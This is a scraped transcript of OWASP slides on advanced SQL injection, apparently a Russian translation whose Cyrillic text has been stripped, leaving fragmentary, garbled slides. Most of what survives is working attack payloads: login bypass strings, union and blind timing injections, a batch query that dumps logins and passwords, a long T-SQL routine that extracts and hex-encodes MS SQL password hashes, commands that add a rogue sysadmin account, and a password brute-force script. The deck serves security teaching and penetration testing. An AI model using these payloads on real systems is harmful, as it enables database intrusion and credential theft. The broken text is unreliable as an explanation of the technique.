Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail,...
Transcript of Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail,...
![Page 1: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/1.jpg)
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Foundation
OWASP
http://www.owasp.org
Advanced SQL Injection
Victor ChapelaSm4rt Security [email protected]
4/11/2005
![Page 2: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/2.jpg)
OWASP 2
SQL?
SQL Structured Query Language
ANSI and ISO standard computer language The most current standard is SQL99
SQL :
![Page 3: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/3.jpg)
OWASP 3
SQL ...
SQL
( SELECT, UPDATE, DELETE, INSERT, WHERE,
.). SQL
SQL!
![Page 4: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/4.jpg)
OWASP 4
SQL Database Tables
,
( ) , "users"
:
userID Name LastName Login Password
1 John Smith jsmith hello
2 Adam Taylor adamt qwerty
3 Daniel Thompson dthompson dthompson
![Page 5: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/5.jpg)
OWASP 5
SQL Queries
SQL,
, :
SELECT LastNameFROM users WHERE UserID = 1;
:LastName--------------Smith
![Page 6: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/6.jpg)
OWASP 6
SQL Data Manipulation Language (DML)
SQL , :
SELECT - extracts dataUPDATE - updates dataINSERT INTO - inserts new data DELETE - deletes data
![Page 7: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/7.jpg)
OWASP 7
SQL Data Definition Language (DDL)
The Data Definition Language (DDL) SQL :
(keys)
DDL SQL :
CREATE TABLE - creates a new database tableALTER TABLE - alters (changes) a database tableDROP TABLE - deletes a database table
![Page 8: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/8.jpg)
OWASP 8
Metadata
Almost all SQL databases are based on the RDBM (Relational Database Model)
SQL InjectionAmongst Codd's 12 rules for a Truly Relational Database System:4. Metadata (data about the database)
, SQL-
![Page 9: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/9.jpg)
OWASP 9
SQL Injection?
SQL-
![Page 10: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/10.jpg)
OWASP 10
?
!
, -,
-
, , ,
In our pen tests over 60% of our clients turn out to be vulnerable to SQL Injection
![Page 11: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/11.jpg)
OWASP 11
SQL
MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix, etc
, :Perl and CGI scripts that access databases ASP, JSP, PHPXML, XSL and XSQL JavascriptVB, MFC, and other ODBC-based tools and APIs DB specific Web-based applications and API’s Reports and DB Applications 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)many more
![Page 12: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/12.jpg)
OWASP 12
SQL Injection?
SELECT * FROM users WHERE login = 'victor'AND password = '123'
(If it returns something then login!)ASP/MS SQL Server login syntax
var sql = "SELECT * FROM usersWHERE login = '" + formusr + "' AND password = '" + formpwd + "'";
![Page 13: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/13.jpg)
OWASP 13
Injecting Strings
formusr = ' or 1=1 – –formpwd = anything
:
SELECT * FROM usersWHERE username = ' ' or 1=1
– – AND password = 'anything'
![Page 14: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/14.jpg)
OWASP 14
'
, , SQL-
:Escape it! : replace ' with ' '
String fields are very common but there are other types of fields:
NumericDates
![Page 15: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/15.jpg)
OWASP 15
If it were numeric?
SELECT * FROM clients WHERE account = 12345678AND pin = 1111
PHP/MySQL login syntax$sql = "SELECT * FROM clients WHERE " . "account = $formacct AND " . "pin = $formpin";
![Page 16: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/16.jpg)
OWASP 16
Injecting
$formacct = 1 or 1=1 # $formpin = 1111
:
SELECT * FROM clientsWHERE account = 1 or 1=1# AND pin = 1111
![Page 17: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/17.jpg)
OWASP 17
SQL Injection
' or " character String Indicators-- or # single-line comment/*…*/ multiple-line comment+ addition, concatenate (or space in url)|| (double pipe) concatenate% wildcard attribute indicator?Param1=foo&Param2=bar URL ParametersPRINT useful as non transactional command@variable local variable@@variable global variablewaitfor delay '0:0:10' time delay
![Page 18: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/18.jpg)
Copyright © The OWASP FoundationPermission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.
The OWASP Foundation
OWASP
http://www.owasp.org
![Page 19: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/19.jpg)
OWASP 19
SQL Injection
1) Input Validation
2) Info. Gathering
6) OS Cmd Prompt
7) Expand Influence
4) Extracting Data
3) 1=1 Attacks 5) OS Interaction
![Page 20: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/20.jpg)
OWASP 20
1)
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
6) OS Cmd Prompt4) Extracting Data
7) Expand Influence
1) Input Validation
![Page 21: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/21.jpg)
OWASP 21
, :
URL- cookies
By "fuzzing" we insert into every one:Character sequence: ' " ) # || + >SQL reserved words with white space delimiters
%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec, etc)
Delay query ' waitfor delay '0:0:10'--
![Page 22: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/22.jpg)
OWASP 22
2)
2) Info. Gathering
3) 1=1 Attacks 5) OS Interaction
6) OS Cmd Prompt4) Extracting Data
7) Expand Influence
1) Input Validation
![Page 23: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/23.jpg)
OWASP 23
2)
:a)b)c)d)e)
![Page 24: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/24.jpg)
OWASP 24
a)
1. -
2.SQL – ,
, 3. Blind SQL Injection
Blind Injection
4.e-mail, SMB, FTP, TFTP
![Page 25: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/25.jpg)
OWASP 25
' group by columnnames having 1=1 - -
' union select 1,1,'text',1,1,1 - -' union select 1,1, bigint,1,1,1 - -
Where 'text' or bigint are being united into an int column
, , :
' and 1 in (select 'text' ) - - CAST
CONVERT
![Page 26: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/26.jpg)
OWASP 26
Blind Injection
' and condition and '1'='1 if
'; if condition waitfor delay '0:0:5' --'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;
, !
We get yes/no responses onlyWe can extract ASCII a bit at a time...Very noisy and time consuming but possible with automated tools like SQueaL
![Page 27: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/27.jpg)
OWASP 27
b)
:SELECTUPDATEEXECINSERT
?
, cookie ?
![Page 28: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/28.jpg)
OWASP 28
SELECT Statement
Most injections will land in the middle of a SELECT statementIn a SELECT clause we almost always end up in the WHERE section:
SELECT *FROM tableWHERE x = 'normalinput' group by x having 1=1 --GROUP BY xHAVING x = yORDER BY x
![Page 29: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/29.jpg)
OWASP 29
UPDATE statement
UPDATE usersSET password = 'new password'WHERE login = logged.userAND password = 'old password'
and , !
![Page 30: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/30.jpg)
OWASP 30
SELECT
1. , -
Could be as simple as ' and '1' = '1Or ' and '1' = '2
2.
' group by columnnames having 1=1 --? ?
![Page 31: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/31.jpg)
OWASP 31
?
injections , ,
,@variable?Param1=foo&Param2=barPRINTPRINT @@variable
![Page 32: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/32.jpg)
OWASP 32
When we are in a part of a subquery or begin - end statement
We will need to use to get outSome functionality is not available in subqueries (for example group by, having and further subqueries)In some occasions we will need to add an END
When several queries use the inputWe may end up creating different errors in different queries, it gets confusing!
An error generated in the query we are interrupting may stop execution of our batch queriesSome queries are simply not escapable!
![Page 33: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/33.jpg)
OWASP 33
c)
,
ODBC errors will display database type as part of the driver information
If we have no ODBC error messages:We make an educated guess based on the Operating System and Web ServerOr we use DB-specific characters, commands or stored procedures that will generate different error messages
![Page 34: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/34.jpg)
OWASP 34
MS SQLT-SQL MySQL Access Oracle
PL/SQL DB2 PostgresPL/pgSQL
Concatenate
Strings ' '+' ' concat (" ", " ") " "&" " ' '||' ' " "+" " ' '||' '
Null replace Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE()
Position CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS()
Op Sys interaction
xp_cmdshellselect into outfile / dumpfile
#date# utf_fileimport from
export toCall
Cast Yes No No No Yes Yes
![Page 35: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/35.jpg)
OWASP 35
…
MS SQL MySQL Access Oracle DB2 Postgres
UNION Y Y Y Y Y Y
Subselects Y N 4.0Y 4.1 N Y Y Y
Batch Queries Y N* N N N Y
Default stored procedures Many N N Many N N
Linking DBs Y Y N Y Y N
![Page 36: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/36.jpg)
OWASP 36
d)
SQL99 ,
SQL :user or current_usersession_usersystem_user
' and 1 in (select user ) --'; if user ='dbo' waitfor delay '0:0:5 '--' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );
![Page 37: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/37.jpg)
OWASP 37
:sa, system, sys, dba, admin, root and many others
MS SQL dbo:The dbo is a user that has implied permissions to perform all activities in the database. Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo. Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically.
![Page 38: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/38.jpg)
OWASP 38
3) 1=1
1) Input Validation
5) OS Interaction
6) OS Cmd Prompt4) Extracting Data
7) Expand Influence
2) Info. Gathering
3) 1=1 Attacks
![Page 39: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/39.jpg)
OWASP 39
' group by columnnames having 1=1 --
' union select sum(columnname ) from tablename --
,
' and 1 in (select min(name) from sysobjectswhere xtype = 'U' and name > '.') --
![Page 40: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/40.jpg)
OWASP 40
MS SQLSELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ')sp_columns tablename (this stored procedure can be used instead)
MySQLshow columns from tablename
OracleSELECT * FROM all_tab_columnsWHERE table_name='tablename '
DB2SELECT * FROM syscat.columnsWHERE tabname= 'tablename '
PostgresSELECT attnum,attname from pg_class, pg_attributeWHERE relname= 'tablename '
AND pg_class.oid=attrelid AND attnum > 0
![Page 41: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/41.jpg)
OWASP 41
' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype --
![Page 42: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/42.jpg)
OWASP 42
In MS SQL Server, the databases can be queried with master..sysdatabases
Different databases in Server' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --
File location of databases' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --
![Page 43: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/43.jpg)
OWASP 43
System Tables
OracleSYS.USER_OBJECTSSYS.TABSYS.USER_TEBLESSYS.USER_VIEWSSYS.ALL_TABLESSYS.USER_TAB_COLUMNSSYS.USER_CATALOG
MySQLmysql.usermysql.hostmysql.db
MS AccessMsysACEsMsysObjectsMsysQueriesMsysRelationships
MS SQL Serversysobjectssyscolumnssystypessysdatabases
![Page 44: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/44.jpg)
OWASP 44
4)
4) Extracting Data
1) Input Validation
5) OS Interaction
6) OS Cmd Prompt
7) Expand Influence
2) Info. Gathering
3) 1=1 Attacks
![Page 45: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/45.jpg)
OWASP 45
Grabbing username and passwords from a User Defined table
'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' 'from users where login>@varselect @var as var into temp end --' and 1 in (select var from temp) --' ; drop table temp --
![Page 46: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/46.jpg)
OWASP 46
MS SQLexec sp_addlogin 'victor', 'Pass123'exec sp_addsrvrolemember 'victor', 'sysadmin'
MySQLINSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('Pass123'))
AccessCREATE USER victor IDENTIFIED BY 'Pass123'
Postgres (requires UNIX account)CREATE USER victor WITH PASSWORD 'Pass123'
OracleCREATE USER victor IDENTIFIED BY Pass123
TEMPORARY TABLESPACE tempDEFAULT TABLESPACE users;
GRANT CONNECT TO victor;GRANT RESOURCE TO victor;
![Page 47: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/47.jpg)
OWASP 47
MS SQL Server Hashes
An easy query:SELECT name, password FROM sysxlogins
But, hashes are varbinaryTo display them correctly through an error message we need to Hex themAnd then concatenate allWe can only fit 70 name/password pairs in a varcharWe can only see 1 complete pair at a time
Password field requires dbo accessWith lower privileges we can still recover user names and brute force the password
![Page 48: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/48.jpg)
OWASP 48
?
SELECT password FROM master..sysxloginsWe then hex each hash
begin @charvalue='0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) BEGIN
declare @tempint int, @firstint int, @secondint intselect @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1)
select @i=@i+1 ENDAnd then we just cycle through all passwords
![Page 49: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/49.jpg)
OWASP 49
Extracting SQL Hashes
It is a long statement'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end --
![Page 50: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/50.jpg)
OWASP 50
' and 1 in (select x from temp) --' and 1 in (select substring (x, 256, 256) from temp) --' and 1 in (select substring (x, 512, 256) from temp) --etc…' drop table temp --
![Page 51: Advanced SQL Injection - msu.rumaster.cmc.msu.ru/files/Advanced_SQL_Injection_rus.pdf · e-mail, SMB, FTP, TFTP. OWASP 25 ð ! ë ... PASSWORD('Pass123')) Access CREATE USER victor](https://reader031.fdocuments.in/reader031/viewer/2022012918/608f03aa2b24ed78327ded4d/html5/thumbnails/51.jpg)
OWASP 51
Brute forcing Passwords
Passwords can be brute forced by using the attacked server to do the processingSQL Crack Script
create table tempdb..passwords( pwd varchar(255) ) bulk insert tempdb..passwords from 'c:\temp\passwords.txt' select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0 drop table tempdb..passwords
